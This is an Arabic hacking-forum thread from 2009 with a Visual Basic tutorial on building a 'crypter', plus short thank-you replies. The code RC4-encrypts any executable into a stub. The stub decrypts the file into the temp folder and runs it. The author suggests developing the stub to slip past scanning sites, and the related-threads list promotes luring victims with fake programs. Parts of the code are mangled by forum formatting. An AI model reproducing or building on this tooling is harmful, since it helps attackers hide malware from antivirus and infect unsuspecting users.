العودة   :: Security امان العرب Arab :: > [ الأقسام البرمجية ] > [ الفجوال بيسك Visual Basic ]

الملاحظات

[ الفجوال بيسك Visual Basic ] شروحات الفجوال بيسك وكيفية عملها

موضوع مغلق
 
أدوات الموضوع انواع عرض الموضوع
قديم 04-27-2009, 08:05 AM   المشاركة رقم: 1
الكاتب
سراج المحبة
Dmar al3noOoz
 
الصورة الرمزية سراج المحبة
المعلومات  
التسجيل: Feb 2008
العضوية: 107
المشاركات: 1,495
بمعدل : 0.36 يوميا
سراج المحبة will become famous soon enough
الإتصال سراج المحبة غير متواجد حالياً


المنتدى  
wda3 حصريآ على امآن العـرب . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

السلام عليكم

كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:

كود PHP:
Option Explicit
Const FileSplit "<%*#%>"
Const pw "DnT%m25@#q&szlig;" 
في زر الاستعراض

Command1

نضع هذا الكود :

كود PHP:
    With CommonDialog1 ' انتظار اداه دايلق
    .Filter = "Excuteable Files (*exe) | ******" ' 
استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل
    
.DialogTitle "Select a File"
    
.ShowOpen ' امر الاستعراض وجلب
    End With
****1.**** = CommonDialog1.File**** ' 
امر احضار الملف في مربع التكست 

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :


كود PHP:
Dim sStube As StringsFile As String

Open App
.Path "\stube*****" For Binary As #1 ' اسم الستب
sStube Space(LOF(1))
Get #1, , sStube
Close #1


Open ****1.**** For Binary As #1
sFile Space(LOF(1))
Get #1, , sFile
Close #1

Open App.Path "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير
Put #1, , sStube & FileSplit & RC4(sFile, pw)
Close #1

MsgBox "مبــروك تم تشفير الملف بنجآح" 
النجوم تعني = t e x t



في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:

كود PHP:
Public Function RC4(ByVal Expression As StringByVal Password As String) As String
On Error Resume Next
Dim RB
(0 To 255) As IntegerAs LongAs LongAs LongKey() As ByteByteArray() As ByteTemp As Byte
If Len(Password) = 0 Then
    
Exit Function
End If
If 
Len(Expression) = 0 Then
    
Exit Function
End If
If 
Len(Password) > 256 Then
    Key
() = StrConv(Left$(Password256), vbFromUnicode)
Else
    
Key() = StrConv(PasswordvbFromUnicode)
End If
For 
0 To 255
    RB
(X) = X
Next X
0
0
0
For 0 To 255
    Y 
= (RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp 
RB(X)
    
RB(X) = RB(Y)
    
RB(Y) = Temp
Next X
0
0
0
ByteArray
() = StrConv(ExpressionvbFromUnicode)
For 
0 To Len(Expression)
    
= (1Mod 256
    Z 
= (RB(Y)) Mod 256
    Temp 
RB(Y)
    
RB(Y) = RB(Z)
    
RB(Z) = Temp
    ByteArray
(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 
StrConv(ByteArrayvbUnicode)
End Function 
..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :

كود PHP:
Option Explicit
Const FileSplit "<%*#%>"
Const pw "DnT%m25@#qك"
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As LongByVal lpOperation As StringByVal lpFile As StringByVal lpParameters As StringByVal lpDirectory As StringByVal nShowCmd As Long) As Long

Public Sub Main()
Dim sStub As StringsFile As String

Open App
.Path "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي
sStub = Space(LOF(1))
Get #1, , sStub ' اسم الستب
Close #1 ' اغلاق

sFile = Split(sStub, FileSplit)(1)

Open Environ("
tmp") & "\decrypted.exe" For Binary As #1
Put #1, , RC4(sFile, pw)
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء


Call ShellExecute(0, vbNullString, Environ("
tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه


End Sub 
النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :


كود PHP:
Public Function RC4(ByVal Expression As StringByVal Password As String) As String
On Error Resume Next
Dim RB
(0 To 255) As IntegerAs LongAs LongAs LongKey() As ByteByteArray() As ByteTemp As Byte
If Len(Password) = 0 Then
    
Exit Function
End If
If 
Len(Expression) = 0 Then
    
Exit Function
End If
If 
Len(Password) > 256 Then
    Key
() = StrConv(Left$(Password256), vbFromUnicode)
Else
    
Key() = StrConv(PasswordvbFromUnicode)
End If
For 
0 To 255
    RB
(X) = X
Next X
0
0
0
For 0 To 255
    Y 
= (RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp 
RB(X)
    
RB(X) = RB(Y)
    
RB(Y) = Temp
Next X
0
0
0
ByteArray
() = StrConv(ExpressionvbFromUnicode)
For 
0 To Len(Expression)
    
= (1Mod 256
    Z 
= (RB(Y)) Mod 256
    Temp 
RB(Y)
    
RB(Y) = RB(Z)
    
RB(Z) = Temp
    ByteArray
(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 
StrConv(ByteArrayvbUnicode)
End Function 
طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

على شان محد يقول سعود قصر

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]


وان شاء الله اكون سويت لكم فائده

وتقدرون تطوروون الستب حق برنامجكم لانه هو اهم شي لما تطورونه راح تطوروون الملف الناتج

اهداء للجميع

على رئسهم الزعلان هكرزي

بالتوفيق












توقيع : سراج المحبة


من يعيـش على الأمـل لا يعرف المسـتحيل

Dmar al3noOoz - سراج المحبة


تنبيه : اي عضويه باسمي خارج المنتدى ( ليست لي ) وانا بريئ من كل شخص يستخدم اسمي خارج هذا المنتدى

اعلن انسحابي عن الموقع والاداره وسامحوني

لتواصل معي : [فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

سكايبي : dmaral3noOoz

سبحانك اللهم وبحمدك , أشهد أن لا إله إلا أنت , أستغفرك وأتوب إليك .

التعديل الأخير تم بواسطة سراج المحبة ; 07-19-2009 الساعة 05:11 AM
عرض البوم صور سراج المحبة  

قديم 04-27-2009, 08:26 AM   المشاركة رقم: 2
الكاتب
No-QRQR
.:: عضو مميز ::.
 
الصورة الرمزية No-QRQR
المعلومات  
التسجيل: Apr 2009
العضوية: 14513
المشاركات: 661
بمعدل : 0.18 يوميا
No-QRQR is on a distinguished road
الإتصال No-QRQR غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

كفوو والله ولأ هنت شررح ميه ميه












توقيع : No-QRQR

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

عرض البوم صور No-QRQR  

قديم 04-27-2009, 08:35 AM   المشاركة رقم: 3
الكاتب
мr.khaLodi
.:: مشرف سابق ::.
 
الصورة الرمزية мr.khaLodi
المعلومات  
التسجيل: Dec 2008
العضوية: 4060
الدولة: أآلعآرضيهـ سيتي ,,}
المشاركات: 1,232
بمعدل : 0.32 يوميا
мr.khaLodi is on a distinguished road
الإتصال мr.khaLodi غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

تسلـم أنـأملـكـ يـأبطـل ...

شـرح وآضح ....

تقـبل مروري












توقيع : мr.khaLodi

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

عرض البوم صور мr.khaLodi  

قديم 04-27-2009, 08:39 AM   المشاركة رقم: 4
الكاتب
Milw0rm
طاقم الأدارة
 
الصورة الرمزية Milw0rm
المعلومات  
التسجيل: Jan 2009
العضوية: 7009
المشاركات: 1,205
بمعدل : 0.31 يوميا
Milw0rm is on a distinguished road
الإتصال Milw0rm غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

يعطيك الف عافيه ياسعود

عادي مو شي غريب عليك الابداع

يعطيك ربي الف عافيه مره ثانيه












توقيع : Milw0rm

من تواضع لله رفعه

عرض البوم صور Milw0rm  

قديم 04-27-2009, 08:43 AM   المشاركة رقم: 5
الكاتب
سراج المحبة
Dmar al3noOoz
 
الصورة الرمزية سراج المحبة
المعلومات  
التسجيل: Feb 2008
العضوية: 107
المشاركات: 1,495
بمعدل : 0.36 يوميا
سراج المحبة will become famous soon enough
الإتصال سراج المحبة غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

حيـآكم الله

تستاهلون ماسويت شي












توقيع : سراج المحبة


من يعيـش على الأمـل لا يعرف المسـتحيل

Dmar al3noOoz - سراج المحبة


تنبيه : اي عضويه باسمي خارج المنتدى ( ليست لي ) وانا بريئ من كل شخص يستخدم اسمي خارج هذا المنتدى

اعلن انسحابي عن الموقع والاداره وسامحوني

لتواصل معي : [فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

سكايبي : dmaral3noOoz

سبحانك اللهم وبحمدك , أشهد أن لا إله إلا أنت , أستغفرك وأتوب إليك .
عرض البوم صور سراج المحبة  

قديم 04-27-2009, 09:00 AM   المشاركة رقم: 6
الكاتب
ReX-05
.:: عضو نشيط ::.
المعلومات  
التسجيل: Nov 2008
العضوية: 2870
المشاركات: 556
بمعدل : 0.14 يوميا
ReX-05 is on a distinguished road
الإتصال ReX-05 غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

يعطيك العافية
جاري المشاهدة












توقيع : ReX-05

عرض البوم صور ReX-05  

قديم 04-27-2009, 09:38 AM   المشاركة رقم: 7
الكاتب
دحمان39
.:: عضو مميز ::.
 
الصورة الرمزية دحمان39
المعلومات  
التسجيل: Dec 2008
العضوية: 3798
المشاركات: 1,263
بمعدل : 0.32 يوميا
دحمان39 is on a distinguished road
الإتصال دحمان39 غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

يعطيك العافية أخي سراج المحبة على الشرح الممتاز












توقيع : دحمان39

اطلبوا العلم فإن العلم نور وهداية والجهل ظلمة وضلالة
اطلبوا العلم إنه مع الإيمان رفعة في الدنيا والآخرة

قال الله تعالى
يَرْفَعِ اللَّهُ الَّذِينَ آمَنُوا مِنْكُمْ وَالَّذِينَ أُوتُوا الْعِلْمَ دَرَجَاتٍ

عرض البوم صور دحمان39  

قديم 04-27-2009, 11:01 AM   المشاركة رقم: 8
الكاتب
نبضے
.:: مشرف عروض البيع والشراء ::.
 
الصورة الرمزية نبضے
المعلومات  
التسجيل: Dec 2008
العضوية: 3020
المشاركات: 962
بمعدل : 0.25 يوميا
نبضے is on a distinguished road
الإتصال نبضے غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

كفيـت ووفيـت اخوي سعود

شرح وافي مثل راعيـه

تحياتي لك

~












توقيع : نبضے

دخولي صاير قليل

بسبب ضعف الاتصال عندي

. . . . .
عرض البوم صور نبضے  

قديم 04-27-2009, 09:11 PM   المشاركة رقم: 9
الكاتب
سارس
.:: موقوف ::.
المعلومات  
التسجيل: Mar 2009
العضوية: 12948
المشاركات: 37
بمعدل : 0.01 يوميا
سارس is on a distinguished road
الإتصال سارس غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

كفو والله سعود

وتم التطبيق بنجاح












عرض البوم صور سارس  

قديم 04-27-2009, 09:53 PM   المشاركة رقم: 10
الكاتب
Mr.ViRuSHaCkEr
.:: عضو نشيط ::.
 
الصورة الرمزية Mr.ViRuSHaCkEr
المعلومات  
التسجيل: Feb 2009
العضوية: 10581
المشاركات: 366
بمعدل : 0.10 يوميا
Mr.ViRuSHaCkEr is on a distinguished road
الإتصال Mr.ViRuSHaCkEr غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

سلمت الايادى يا سعود












عرض البوم صور Mr.ViRuSHaCkEr  

موضوع مغلق

مواقع النشر (المفضلة)


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[ شرح ] مفتقد ضحآيآ...؟ تعآل شـرح تصميم برنآمج وهمي ودمجه واضمنلك 30 ضحيه في نص سآعه فقـط علـى آمـآن العرب ^_* Mr.Sm!LeY }~ [ اختراق الاجـهـزه والايـمـيـلات ] 120 09-02-2010 02:32 AM
تعال اصنع لك دولندر بالفجوال بيسك وانساء برامج الدولندر المكشوفة هكرٍ مجنوٍنـ [ اختراق الاجـهـزه والايـمـيـلات ] 58 08-14-2009 10:12 PM
عارض تصميم وطالب تصميم لوووول HaCKeRZy [ الفوتوشوب والسويـتش ] 6 08-21-2008 09:00 PM
الآن حـلـقـة ( لـقـاء مـع سـاحـر ) برنآمج 99 mr.ez3ag [ القسم العام ] 3 06-05-2008 09:52 AM
كيفية تصميم واجهة موقع بالفوتو شوب EGyTerrorist قسم دروس الفوتوشوب والسويش 20 06-05-2008 08:58 AM


الساعة الآن 05:41 AM.


Powered by vBulletin® Version 3.8.3
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.